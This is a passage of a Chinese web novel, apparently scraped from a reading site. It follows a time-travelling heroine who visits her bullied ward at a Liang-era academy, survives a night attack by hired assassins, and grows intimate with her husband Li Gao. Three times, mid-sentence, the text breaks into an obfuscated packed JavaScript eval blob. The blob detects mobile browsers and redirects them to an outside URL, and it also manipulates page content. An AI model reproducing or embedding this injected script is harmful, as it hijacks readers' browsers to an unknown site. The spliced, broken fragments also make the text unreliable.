玄盛忽而轻松一笑,换了话头:“夫人,不是说要去看潭儿?他也该下学了。”阿祇知道他们是有话要谈,就顺水推舟道:“对,许久未见潭儿,甚是想念。” 欧阳山长的脸色也和缓下来,“辛夫人哄我老头子半晌,说的玩笑甚有意思,靖恭堂申时下学,夫人若想见小郎君,尽可自便。”阿祇很有默契地与玄盛对视,见他点头,便从凭几上站起身,规规矩矩地向欧阳山长道:“流光,先行告退。” 她还不知道,欧阳山长将在酉时宣布:两日后,靖恭堂甄选,玄郎君与辛夫人将与欧阳山长一同为玄玉阁甄选,选出随商队西行历练的子弟。玄玉阁甄选通常在每年春分前后,学子以十四岁以上的李氏子弟为主,寒门学子亦可参与,李暠是族老亲自教养的家主,宋繇才是从靖恭堂第一批走出的最年轻的西行掌事。 这个时代,十六国时期尚无科考制度,靖恭堂除了授学诗词歌赋之外,还教天文地理、数算贸易、西域风俗语言、功法武学……学堂中有高门大族,也有寒门子弟,凉州如今局势动荡,西行历练,就是年轻人最快的远播声名之始,建功立业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她微微一怔,赶紧快步向他们奔去。 潭儿捂着额角有鲜血流出,推他的孩童大声道:“外来的野种,也配与我们李家郎君们同席?”旁边一个孩子也跟着应和,可惜口条不够,反复就一句,“对,你是……野种。”说着,他们还想捡石头砸人。 阿祇来到跟前放下箱笼,喘着气大喝:“你们要干什么?” 地上坐着的沉默男孩,见她眼睛一亮,“阿姊?” 慌乱之中,他甚至连“主母”都忘记叫了。阿祇更顾不上细枝末节,潭儿倒在雪地上,打湿的青衫上有斑斑血迹,惨白的面色血痕显得分外刺眼,眸中含泪,眉眼下有一颗泪痣竟也是血红色的,精致的小脸显得楚楚动人,一个十一二岁的男孩子竟有这般动人心魄的瑰丽。 潭儿盯着靠近的女子,一大滴泪混着血坠落。 “快走。”三个小孩吓得一哄而散。 阿祇抱起潭儿,潭儿一下扑在她的肩头,紧紧搂着她呜呜哭泣。如果阿祇的背后有眼睛就会发现,潭儿的眼眸轻抬,瞟了一眼离去的几个身影,有种莫名的冷意,嘴角上翘。 一个正好回头的少年见此,眼神慌张恐惧,竟看上去比头破血流的潭儿还要害怕。阿祇的注意力,全在喜忧参半的重逢情绪当中,潭儿的额头血流不止,她立刻掏出一个帕子,按在他头上,“别动,先止住血。” 好在没有伤到眼睛,潭儿泪眼汪汪地盯着她。 阿祇有些自责地说:“疼吗?” 潭儿摇摇头,一大滴眼泪打在她的手上。半月不见,这孩子变得寡言少语,青衫下的身板虽然长高了一些,但空荡荡的很是单薄,有种破碎凄楚的美,在见到这孩子的那一刹那,几乎让阿祇认不出来。 潭儿紧紧抱着她说:“阿姊,我想你。” “阿姊也想你。”阿祇轻抚他的后背。 潭儿抱住她,笑意这才到了眼底。 远处的清俊人影,看见她姐弟重逢的画面,悄然离去。 70. 金缕鞋 辛薇曾经答应过自己,要善待自己和身边的亲人。 所谓亲人,当然不是血缘意义上的家人,她只是珍惜在古代遇到的每一段因果缘分。可能,有些人,一开始就注定纠缠,有些美,一看便知是毒药,偏在最初的时候,看似毫无攻击力。潭儿几度从苦难中挣扎,就如同一根红色的藤蔓,看似柔弱,却能找到生命的寄主,卷着藤须而上,直至缠绕上寄主的脖子。 阿祇牵着潭儿的手,一起来到雅风苑。 房中灯光摇曳,暖炉冒着青烟。潭儿名义上是李暠的长子,所以他的房间简洁,但不失舒适,长案书桌上摆放了竹简书册,旁边是白色的帐子,阿祇为潭儿好上了伤药,好在只是皮外伤。 小少年拉着她的衣角,不让她离开,“阿姊,能不能留下?” 阿祇摇头,“不能。” 潭儿个头不大,在她面前表现得像个稚童,阿祇不得不狠心,才能拒绝那双漂亮的眼睛。阿祇道:“时辰不早,小孩要早睡早起。” 潭儿神情不悦,认真地反驳:“我不是小孩。” 阿祇点了他挺巧的鼻子,笑着说:“还说不是小孩,都会撒娇了。” 近两个时辰,她陪他在房间一起用晚膳,打来热水为他泡脚,连脏衣服都洗干净了。回想她当年在外求学,每次回家母亲为自己所做的事,能做的,她几乎都弥补给了潭儿,其实辛薇自己刚是上大学的年纪,头一次作人家“主母”,也是不知所措。 她看桌上整齐的书本,从上面取来一册,问潭儿:“这些,可都学会了?” 潭儿盯着阿祇,有点委屈地点点头,“我都会背的。” 阿祇故意难为他,拿的最厚一册,“就这本《史记》吧,背一段我听听?”《史记》,有一百三十篇,潭儿竟真的将她手中那册《淮南子》中的一段,背了出来:“农与农言力,士与士言行,工与工言巧,商与商言数……” 阿祇看着书册频频点头,潭儿看着她,徐徐背诵。 主母的威严与细心,她端得气势很好,“背得不错。”阿祇抬眼,看着潭儿满眼的星星,连额头有伤仿佛都忘记了,扯了扯她的袖子,又哀求道:“阿姊,留下陪我。” 阿祇合上卷册,揉了揉他的头,“下次人前记得叫主母。” 潭儿固执着摇头不语,阿祇不想强迫他,方才小心地提起:“今日,那些孩童为什么推你?” 潭儿眼皮一垂,没吭声。 阿祇耐心地等他开口,过了好一会儿,他才说道:“他们说我是外面来的野种,不配姓李。” 童言无忌,可是伤起人来也是口不择言,阿祇叹了口气,对潭儿关心地道:“天下姓氏数百,一个人姓什么,与他的人品、学识又有什么关系?你的言行举止,只要配得上别人的尊重,就好了。” 潭儿看着她,乖乖地嗯了一声,“阿姊,我知道了。” “时候不早了,你早些睡。” 潭儿仍不松口,“阿姊,再多陪我一会儿。” 外面天色已暗,她见院子里的灯还亮着,就知道宋繇为她留着灯火,若再不离开,怕是宋繇也没办法休息,况且这里是礼教森严的靖恭堂,一个恐女的欧阳山长正在搜集理由赶她离开。 她为潭儿掖好被子,“快睡吧,睡着伤口就不疼了。” 潭儿拉着她不放手,小声道:“那,阿姊……亲我一下。”阿祇一笑,当他小孩心性,避开潭儿额上的伤,在小少年左脸上“吧唧”亲了一口,“好了,快乖乖闭上眼。” 这回,潭儿果然满意地闭上了眼睛,阿祇摸了摸他的头发,悄悄推开门,离去。 待门关上的一瞬,那双明亮黝黑的眼睛再次睁开。 门外的不远处,宋繇提着灯笼等在走廊转角。 阿祇紧了紧披风,朝他走去。 他们年岁相当,又在大漠曾有过命的交情,阿祇觉得彼此已是好友,有什么话也无妨,便有点赌气地站在他面前,“潭儿虽是个孤儿,但不代表无人疼爱。” 宋繇看着她,没有多说什么。 阿祇开门见山道:“能不能请你替我多护着他?” 宋繇颔首,“是。” 他越不多作解释,阿祇反而心虚起来,以宋繇的为人不可能会让十岁出头的孩子受委屈,但靖恭堂上下百口人,可能他也有顾及不到的地方吧。说到底,潭儿不是他的责任,她有什么立场要求宋繇,去照顾本该是她的责任。 “……”她刚想寒暄几句,宋繇已转身。 灯笼在她跟前照亮了方寸之地,掌灯之人走在前面,传来形单影只的萧索,不知不觉他们竟渐行渐远。 “宋繇。”阿祇叫住他。 宋繇停下,侧了半个身道:“长兄在他的院子等你,更深露重,我为长嫂引路。” 逝去的友情,大概再也强求不来。 阿祇回到为她准备的屋子时,明亮的圆月已上树梢。屋里的灯还亮着,宋繇只将她送进院子,人便退了出去。稷如森严的门神,从黑暗中走出,对她行礼道:“夫人。” 阿祇小声说:“玄盛睡了吗?” 稷一直低着头,“主人未睡,一直在看书。” 这一进的小院,已经是靖恭堂最豪华的宅院了,阿祇探头,看到里面的几间屋子都亮着灯,便问稷:“哪间屋子是给我住的?” 稷回答:“夫人直行,前面就是主屋。” 看来是把人家家主赶到书房去了,辛夫人默认李玄盛为她让出了主屋。不同于效谷令的府邸,后宅中她还有自己的房间,这里是欧阳山长的靖恭堂,她的脸皮是万没有那么厚的,抱着寄人篱下的态度,虚心些总不会错,“带我随便找间屋子吧。” 谁知道,得知她的悍妇之名,欧阳山长会不会又借题发挥? 稷低着头不动,“请夫人直行。” 阿祇算是看明白了,稷的脑回路是直行。 她只好点头说:“我知道了,你也早些休息。” “是。”稷的任务指令完成,消失的一点声音都没有。 她轻手轻脚地走进主屋,见屋里点了几根烛火,一位风华正茂的男子正在胡床上翻着竹简,雪白的中衣松松地搭在肩上,他肩膀宽阔,露出如玉的肌肤,轮廓干净又俊美,四目相接间,双眸里有温柔的情愫,阿祇呆愣了一瞬,映入脑海的不是“陌上人如玉,公子世无双”,而是“惟事以美人,以佚其志”,俗称“美人计”。 美人抬眼,随意开口道:“夫人,回来了。” 阿祇站在门口,四下看了看,“这是,你的房间?” “这是,山仲兄给‘我们’准备的房间?”玄盛拍拍身边的地方,“他特意交代,夫人晚上乖乖待在房里不许出门。”不许出门,真当她洪水猛兽一样了,欧阳山长今夜安眠否? “我看旁边也有地方。”她往后一步,道:“我过去看看。” “靖恭堂住满学子,这个小院是我以前就常住的,稷住前院,不喜欢被打扰。”辛夫人仍不死心,“书房呢?” 玄盛的眼眸眼色偏浅,垂眸的时候眼睫覆盖双眸,神秘而魅惑,“书房布了机关。” 他看了阿祇一眼,坦荡道:“主屋虽小了些,将就一下,也能住下两个人。” 好吧,反正她和她的夫君已经作了一阵室友,亲密关系的矫情,哪里比得小命重要。辛夫人终于迈开步子,走入这温暖的房间,她家郎君的生活品质一如既往,简约而不简单,在山间乡野筑巢,用度竟也一点不比府邸差。 “山长很贴心,还给安置了个屏风?” 阿祇将她手中走哪带哪的箱笼放好,解开披风,随便搭在屏风上,绕过去一看,这才注意屏风之后不是床榻,竟是冒着热气的热水。玄盛起身,路过她身上有沐浴后清爽的味道,走到屏风后,伸手试了试水温,然后从架子上取来一个药包放进去,“祛寒安神的药不能早放,不然会失了药效,净房在隔壁,浴桶里的热水经过火墙续温,你且多泡会儿。。” 阿祇愣愣地站在原地,一时没反应过来。 “我,洗澡?在这?”阿斯有些不安。 玄盛笑问:“不在这,难道要去外面?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363630|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他们像一对老夫老妻,玄盛对她的碎碎念自然无比,调侃起来没有什么好尴尬的。他交待完,一个人回到外面接着看书,留下阿祇进退两难,适时又传来男人的声音:“夫人不动,是要为夫帮你?”这屏风为什么不隔音。 她趴在缝隙上往外看了一眼,李暠还是那个看书的慵懒样子,烛光忽明忽暗,她看不清她家夫君的脸,拿着那册卷的手是真好看,修长而骨节分明……她好像想远了。这男人自从被她在葡萄亭撩拨,就开始光明正大的粘人,单独相处时害她也不自在起来,浴桶里散发出药香,她的脚趾头被冻得有些麻,不再顾及许多,她开始解衣裳。 光影摇动,满室药香。 玄盛淡定的外表下,喉结微动了一下,竹简在手,顶着阿祇偷窥的目光,他不得不“优雅”地保持这个姿势,连正过来倒置的卷册都不敢做,直到那目光离开,才暗自松了口气,随后屏风后传来她家夫人的声音:“我见过潭儿了……” 他回了声:“嗯。” 窸窸窣窣的动静不绝于耳,他家夫人倒真把他当作正人君子了。 正想着,从屏风后面探出个头,闪着明亮的眼睛看他,“嗯,是什么意思?” 玄盛道:“嗯,就是知道了。” 阿祇眉毛一皱,“那你知道,你的‘长子’被人欺负吗?” “不知。” “我们可是潭儿名义上的父母。” “学堂里,很多孩子连名义上的父母都没有。” 屏风后的小脸不说话了,气氛清冷,仿佛能看到她沮丧的脸,清俊的男子温声道:“有些事,终将是潭儿要面对的,我们不能护着他一辈子。” 一屏之隔,阿祇开口问:“你早知道潭儿的身份,对吗?” 李暠没有否认,算算时间也差不多了。 手中的书册半天没翻动,干脆放在了桌上,说:“潭儿的金缕鞋,我已经送去他的兄长那里,可能很快就会来人确认他的身份。” 对了,她交给他潭儿的金缕鞋去寻亲。阿祇回忆起,“那日,我遇见那孩子的时候,他正在被流民追赶,唯一的护卫死了,马车掉入山崖下的水潭,他小小的身子漂在水上,即便身上都是华美之物,但那些东西护不了他,几乎差点害了他。” 玄盛道:“你看出,他是皇宫中逃出来的,为何还引火上身?” 一时无语,她救他,不过是本能。 阿祇泡在药香弥漫的热水中,觉得自己很幸运,孑然一身地穿越而来,平白得到了这许多照拂,有什么理由甘之如饴,不去回馈帮助别人呢? 大概是鼓励自己,“做了就是做了,我不后悔。” 玄盛盯着屏风后隐约的身影,陷入了沉默。 阿祇思量漫长的一天,雪地中那人身影闪过,不敢深想,到底是担心潭儿的念头占了上风。至少在他的家人找来之前,她要作一个称职些的主母,也许她该做些好吃的,明天早点去看他。至于欧阳山长,他若好卜筮奇谭,在三重书斋里买下的古籍里找找,说不定有能投其所好的东西。 正胡思乱想之际,外面突然传来打斗声。 有暗器破窗而入,横冲直撞地竟朝屏风而来。 李暠眼疾手快,飞身踢开暗器。他抬手劈灭屋内的蜡烛,转身跳跃到屏风后,挡在惊慌的阿祇面前,嗖嗖声,果然又飞来数枚飞针,这种暗器小而准,通常不会要人命,命中大穴却能让人动弹不得,在袭击掳人时有奇效。 阿祇不知他受伤没有,压着声音道:“你,没事吧?” “藏好。”玄盛压低她的头,来不及多说。 外面的院子里,稷正在与人缠斗,听声音是大概有四五个人,都是高手。 小院位于靖恭堂东侧的山坡处,几间竹林小屋,连个雅致的名字都没起,平时无人居住,欧阳山长让学童偶尔来清扫,十分幽静。怎么李暠他们一来,就立刻有黑衣人造访? 时机微妙,来人的目的更神秘莫测。 突然,一个黑衣人破门而入,在黑暗中摸索着,朝屏风这边走来。 71. 暧昧 明月余晖,让阿祇的眼睛逐渐适应了没有烛光的昏暗,她穿着贴身里衣泡在水里,高大的男人挡在她前面,他们离得很近,玄盛甚至后脖颈能感受到她呼出来的热气。 浴桶中散发的草药清香,吸引了黑衣人的注意。脚步声越来越靠近,玄盛动作奇快,如一道白色闪电袭向鬼魅,黑衣人尚未穿过屏风,人就被制服,扔了出去丢给稷。 这些黑衣人是不是有点弱?阿祇听到外面传来几声哀嚎。 她想赶紧趁机出浴桶,一阵暗器又袭击飞来。 玄盛转身,正要警告阿祇不要出来,“你……”话才出口一半,李暠就被她生拉硬拽地拖进浴桶。咻咻咻,三枚钢针恰好钉在他方才所站位置的木桶外壁上,一下子水花四溅,两个人挤在狭小的浴桶里,二人面面相对,皆有一瞬呆愣。 夜色撩人,水汽弥漫,女子濯清涟而不妖,眉眼图腾如丹砂,在昏暗中犹如魅惑的精灵。他们从头湿到脚,浸透的薄衫在水中起伏荡漾,呼吸近在咫尺,肌肤相贴。她好像帮了倒忙,快速查看他有没有受伤,发现那人面色不对,忙解释:“刚听见破空声,呵呵,我耳力还不错吧。” 不知道是药浴的水雾,还是某人的呼气,又热又甜地吹在玄盛脸上,滴水的墨发、湿透的中衣,幽深的眸子看不出喜怒,大概没想到她有这一手,竟自靠坐在浴桶里笑了。 这人怕不是怒极反笑吧? 只听她家夫君开口:“是不错,不过那三枚针,你夫君躲得过……”好像有乌鸦飞过,阿祇脸上出现三道黑线,嘴角一抽,神色淡定地说:“你,不用谢我。” 窗外打斗声渐弱,阿祇紧张地看了眼外面,“人呢?” 既来之,则安之。 玄盛在药浴里说:“放心,稷对付得了他们。” 看他自信的神态,阿祇又想趁机出浴桶,“咱们还是快出去吧,你先走……”那人没什么反应,好吧,“那我先走,你转过去……”还没反应。湿淋淋的她不管他了,正要起身,却被玄盛拉了回来,他手指敲了敲厚实的木桶,很是认真地说:“这个,能防暗器。” 躲在浴桶里怎么听都是下策,她小声道:“我们可以躲到桶外面。”李暠无动于衷,“外面……冷。” 阿祇暗中翻了个白眼,也不折腾了,在水中捂着胸口试探问:“那些人,为什么要杀你?” 本来浴桶就不大,黑暗中更显局促。 李暠划水靠近,一本正经地告诉她:“早就说过,夫人如今声名在外,为夫得陪在左右。”阿祇吃惊看着他的俊脸,手指向自己不可置信,“你的意思,他们是冲着我来的?” 玄盛一个无辜的表情,点了点头。 屋内静得落针可闻,现实来得太残酷。 阿祇想不明白,怎么会有人针对自己,她这么快融入十六国跌宕的历史了吗?“我乐于助人,与人为善,你怎么确定他们就是来杀我的?” “准确的说,他们不是来杀你,而是来抓你的。” 可能他们贴得太亲密,她一下就红了耳根,阿祇推开他,“你有话好好说。” 玄盛好看的手指摸上浴桶的边缘,阿祇以为他又要不正经,慌忙地抓住他的手,谁知他绕过她,伸到她的身后,拔出浴桶上的一根细钢针,嘴角忍不住上扬。 执手紧握,有人尴尬了,慌忙松手。 玄盛看他家夫人紧张羞涩的样子,觉得甚是可爱。墙角还有一截燃烧的蜡烛,他让阿祇取来蜡烛,对着光举起那根针,仔细端详铁锈色的针尖。 “有一种毒叫忘忧血,渗入血液后,能让人陷入昏迷,淬在暗器上是西域人的手法,但这银针……的的确确是中原产物。” 阿祇的头也凑过来,“凭这几根针,就能杀人?” “自是不容易,但也并非绝无可能。他们身手灵活,不像死士。”玄盛看着阿祇道:“我放了风声,这两日在城中征粮,所以外人并不知道我与夫人一起在靖恭堂,怕有心人从夫人出府就盯上你了。” “那他们为什么对我下手?” “大概是因为,夫人的声名在外……” “李玄盛!” 杀手都找上来了,这人还开玩笑。 李暠看着发怒的夫人,抿嘴一笑,下巴几乎抵在了她的脖颈上,“夫人息怒,等稷捉了活口,一问便知。” 话音刚落,门外传来稷的声音。 “禀主人,自戕了四个,剩下一个活口。” 玄盛回道:“打扫干净院子,夫人要休息了。其余的,你自己看着办。” “是。”稷追随玄盛十年,立刻懂了他的意思。 门窗关好,外面很快没了动静。 阿祇这才放松下来,发现他们还泡在水里,这地方连着火墙,不用担心水会变凉,隐隐还有燥热之感,她家夫君的目光让她不自在起来,伸出手就去够浴巾。 “等下。”玄盛抓住她的手,将人抵在浴桶壁上。 水面晃动,强大的压迫力笼罩而来,灼重的呼吸交织在了一起,这人靠得太近。阿祇忍不住发出灵魂质问:“咱们,不是刚差点被刺杀吗?” 玄盛盯着她,“那又怎样?” 说完,唇就贴了上来。 一定是压力太大需要精神释放,这人被激发了疯狂的一面。天雷地火的时候,她还能思考,不错,自己长出息了,不过他怎么还不收敛?辗转缠绵,也不知屏住了多久的气,阿祇才得以正常呼吸,恋爱果然使人昏聩,阿祇的脑壳运转,灵光一现。 她呼吸不稳地推开他,双眸水灵灵地瞪向眼前人,“你,你刚才是故意的。” 玄盛定睛看着她,“亲你,当然是故意的。” 她低估了这人的脸皮,“我是说,跌进水里,你是故意的。” “我确定,是你把我拖进来的。” 她越想越气愤,“我是拉了你一把,但以你的身手,既然能躲开暗器,根本不会摔进水里。” 玄盛眼底如墨专注而炙热,似藏了一团无形无色的火焰,这个人在诱惑她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368027|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿祇警铃大作,第三次试图逃离这个狭小的空间,话没说清楚,她家夫君怎可放她离开。 “夫人救命之恩,为夫该如何感谢?” 他家夫人可不吃这一套,“李玄盛,你可千万别说出那俗套的道理。” 李玄盛明知故问,“什么俗套的道理?”不知道情况怎么发展到这个地步,他家的夫君微微一笑,果然不负所望地说道:“吾所以有大患,以吾有身,报之。” 此处有毒,不可久留…… 英雄所见略同,反正稷已经解决了夜袭,李玄盛抱着湿漉漉的娇妻跃出水面,宽大的浴巾从头顶罩下来,脱离了热水,她被抱着在月光下出了浴桶。 阿祇打了个激灵,抓着他的手臂,“等下,这不是不合礼数吗?” “婚姻之礼,人伦大者。你我婚书早已昭告天下,为夫凡夫俗子,不能交通神明,不能坐怀不乱,不如夫人慈悲,今夜渡我?” “李暠,李玄盛,李长生!” 在一串大呼小叫的警醒无果,他家夫君俊美的五官在昏暗的光线下显得更为立体,湿衣让他肌肉的线条尽显,阿祇蓦地想起初见他时,他是高高在上的白骆驼主人,飞鹰传书和水下相救的回忆,相遇,离别,又相遇……不知什么时候李暠一步步走下了神坛,竟与自己站到了一起。 其实,李玄盛抱着他家夫人转了一圈,便将人放下。 一吻落在她的鼻尖上,“快换衣服,早点睡。” 看来阿祇自己想歪了,但不能怪她,实在是正常的生理反应骗不了人。 他家夫君很快绕到屏风之后,离去的背影有些炫目,屏风是一张完整的双面织锦,可惜密不透风,只能听见他的脚步和换衣声音,阿祇边擦头发边懊恼,她一现代人跟古人较真什么礼数观。 屋内那根熄灭的蜡烛,到底没有再点亮过。 明月隐入云后,更深露重,他们并排躺在床榻上,第一次同床共枕,身边躺着她的郎君,李暠。 屋里静悄悄的,唯有火墙里偶尔的火花声音,噼啪作响,令人心安。阿祇搭着手指,有一下没一下轻敲心口,“长生,你睡了吗?” 每次开口叫他的小字,都有种难言的亲密感。 “嗯,睡了。”身边人小声回答。 阿祇一个翻身,侧卧抬起头,盯着他的优雅睡姿。这个男人的睡颜真的很好看,高挺的鼻梁浓密的睫毛,线条流畅的下颌线,墨发铺满身后,随着呼吸胸腔微起伏,就是闭着眼睛不肯看她。 阿祇悄悄地靠近他,“抱歉,我是不是经常给你添麻烦?” 他喉结动了动,嘴唇轻启,“你我夫妻一体,怎说麻烦?” 经过激烈的思想挣扎,阿祇缓缓贴上了他的胸膛,她家夫君真的像睡着了一样仍规矩地躺着,若不是耳朵在他心口,阿祇不会发现,原来他的心跳亦如擂鼓。 她喃喃道:“你既然睡着了,我想告诉你一个秘密。” 玄盛:“嗯,好。” “长生,我喜欢你。” 72. 你当选谁 春日,卯时天光还未亮,外面就传来动静。 连夜审讯的稷,有了结果立即前来汇报,以往主仆都是第一时间互通消息,哪里像今日,虽说来迟了些,主人竟连面都不见。稷踏着星辰而来,“主人,那人招了,是赏金猎人。” 半晌才传来略带沙哑的声音,“谁发的悬赏令?” 稷等在门外,“……是匿名。” “去查吧。” “是。” 稷大概觉得办事不力,赏金猎人是江湖客,以前几乎没人赶接玄玉阁的活儿,是玄羽衣三十六骑太久没出山了,随便什么黑衣人都敢近主子的身了。稷暗自下定决心,以后一定寸步不离主子。 外面一点动静都没了,稷来得突然,去得神速。 阿祇不知道自己是睡醒了,还是根本没睡着,挣扎着从温暖的怀抱中探出头来。睡眼惺忪的辛夫人,成全了她家的卫道士。不过,此成全,非彼成全。 她若早知道昨晚会发生什么,还不如让李玄盛一直闭着眼睛,清心寡欲。 自从表白了她家夫君,辛薇的经历就像扁舟在海浪中逆行,起起伏伏地被风雨折腾。自我折磨的最高境界,就是反复挑战忍耐力极限……看她现在潦草头发加黑眼圈的死样子,就像被采阴补阳了的凌乱,其实,是她那个整夜挣扎在背德感边缘的便宜夫君,拉着她一起自我折磨的结果。 说到底,除了最后一步没做,能做的都做了。 这觉是没法睡了,阿祇抱着断然的决心起床,昨天她答应了潭儿多陪他,刚好去和米耶一起做早饭,“今晚,我搬去米耶那边住。” 玄盛脱口而出:“这里只有一位厨娘,收留米耶已是强人所难。” 阿祇坚持:“那我们分床睡。” 玄盛直接拒绝:“没有多余的床。” 怎么可能?明明书房就有一张。 “那……至少分被子睡。” “只有一床被子。”这种话亏他也说得出口。 她仍不放弃,“不然,你教我书房的机关布置。” 玄盛挑眉:“你想拿命去冒险?” “不是我,是你搬过去。”现在不是谦让的时候,阿祇语重心长地说:“万一你触发了机关陷阱,我也好去救你。” 玄盛了然:“咳,你我现在的关系,不宜分居。” 片刻对峙,阿祇认清了现实,“你好好考虑,我先走了。” 虽然这话听起来她像一个渣女,但又谁知其中心酸,阿祇一翻身,从禁锢她的怀抱里滚了出来。她计划在靖恭堂逗留三五日,为了不给欧阳山长带来更多的压力,洗漱完了,她换上了早准备好的青衫学子装,梳个潦草的书生头就准备出门。 她家夫君披着松散的中衣,实在看不下去了,走过来夺了梳子,“交给我吧。” 他手指灵巧,梳拢她的秀发,“你不必迁就欧阳毕。” “欧阳山长德高望重,有些事可以不赞同,但要尊重。”她看着对镜子里为她束发的玄盛,总算记起他的温柔,“就像我,明明事事都很优秀,只不太擅长盘发,你不是也很迁就我吗?” 玄盛赞道:“夫人说的对。” 玄盛帮她梳好了发髻,特意绑了文人用的青色葛巾,两根飘带垂在身后,清丽中亦有书卷之气,不过少了郁金和姜黄,没办法掩盖眉眼间的朱丹婆罗花蕊,让她一看上去就是个娇美聪慧的女学子。 “如何?”她对着铜镜问:“欧阳山长那能过关吗?” 玄盛点头,心里却觉得夫人这样装扮气质更盛,欧阳山仲怕要跳脚了。他这样看着阿祇,就像昨夜的缱绻画面里那双深邃的眼眸,让她有点吃不消。 她侧身避过他的手,佯装整理外衫,“今日学堂有什么安排?” “靖恭堂即将大考六艺,夫子们应该会很忙。” 她也很忙的,好不好。 阿祇再次懊悔,昨夜就该养精蓄锐的,见院子外的小厨房升起炊烟,起身就要往外跑,“我先去做早饭。”话音刚落,她脚步停在门口,转身对那高贵优雅的夫君道:“玄郎君,请留步,你若跟来,厨娘和米耶怕是不会给我开门。” “好。”他很听话,“早去早回。” 依依不舍送情娘的场面,阿祇似是听不下去这样的狂言浪语,胡乱答应了一声就出了门。回首,唯她的夫君,唇含笑意,风华万千,她的心志实在难得,与从坠落凡尘的妖孽耳鬓厮磨后,还能精神百炼地起早奔波。 小厨房真是个美好的地方,热闹的烟火气让生活那么真实。 灶火里燃着暖洋洋的柴,米耶见到阿秭,就欢快地跑来,昨夜她听到打斗声还担心来着,幸好她安然无恙,“阿秭,我们带来的食材都在这里了。”有备而来的好处,就是要让潭儿可以在山长吃好喝好,顺便便宜她那便宜夫君,阿祇觉得现在的自己,真的有几分当家主母的风范。 “辛苦米耶,泡好的红豆在哪里?” “阿秭,我昨夜就泡上了,咱们还带了你要的芋头。” 阿祇将红豆放入煮开的锅里,然后将芋头切成块,上大灶蒸。阿祇抽空和了半烫水半凉水的面,放在一边醒着,米耶在一旁剁肉馅,他们带来敦煌城有名的豆瓣酱,加进去些野山葱和菌子,蒸出来就是最鲜美的西北烧麦。 厨娘是个四五十岁的妇人,做面食也是很有经验,她第一次见人擀这么薄的皮,包出像花朵一样的“包子”,大为惊叹,“夫人的手真巧。” 阿祇也不吝赞美,“王婶的蕨菜拌得很是入味。” “多谢夫人夸奖,这是俺做的蕨菜干,俺男人最喜欢吃这口。”她说起自家男人,嘴就没合拢过,有些话让米耶都听红了脸,也是个热情开朗的大婶。 “米耶,鸡蛋呢?” 阿祇麻利地将蒸好的芋头,放入红豆沙里,继续熬煮了一会儿,然后将烧麦和鸡蛋羹端上大灶,很快厨房里飘满了香气。热腾腾的鲜肉烧麦、鸡蛋羹、红豆沙出锅,配上厨娘王婶的秘制蕨菜和芝麻胡饼,丰盛的早餐在鸡鸣时已然做好。 来这里这么久,她总算亲手做了顿家乡的风味。 给米耶和厨娘留了些,米耶早就口舌生津,忍不住喝了口软糯香甜的红豆羹,“阿姊,你也快吃,这个实在是美味。” “锅里还有,你们先吃,我先去给家主和雅风苑送些。” 米耶捧着羹碗,急着咽下饭就要抢着干活,阿祇拍了拍她的肩膀,“记得给稷留些,他不知道什么时候才有空。”米耶点头如啄米,心中暗暗松了口气,她一想起在葡萄亭家主质问她阿姊的下落,那神情让她紧张至今,仍不敢直视家主,为什么阿姊就不怕呢? 回到小院的时候,屋里传出声音。 阿祇提着一大食盒,刚一进屋脚步就顿住了,宋繇和潭儿都在,少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393145|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年额角受了伤包扎着白布,不知玄盛同他说了什么,小脸上似乎挂着疏离的尊重,一见到阿祇出现,眼中立刻焕发出神采,“阿姊。”他话一出口,瞥见玄盛的神色,立刻改口恭敬道:“拜见……主母。” 阿祇古怪地看了玄盛一眼,只当什么都没看见,“刚好你们都在,吃饭吧。” 话音未落,宋繇已经上前接过食盒,阿祇交给他,朝潭儿走来,看他的伤口不再流血,就是身子十分孱弱,男孩子站在这里才到她的肩膀高度,许是她的错觉,玄盛和宋繇他们对潭儿的态度,总有种说不出的疏离,以及些许无可奈何。 潭儿也只有面对她时,才露出小孩子的一面。 他惊讶道:“主母,这些都是你做的?” 阿祇笑意盈盈,“有王婶和米耶的帮忙,一会儿你多吃些。” “好。”潭儿对她甜笑。 名义上的一家人摆好碗筷,围坐在矮桌四周吃了顿难得的团圆饭,眼前三个大小男人皆坐姿端雅,阿祇的放松倒显得格格不入了,她给了玄盛一个眼神,拜托家主少些做派,不过是寻常家宴罢了。 “你看我做什么?” 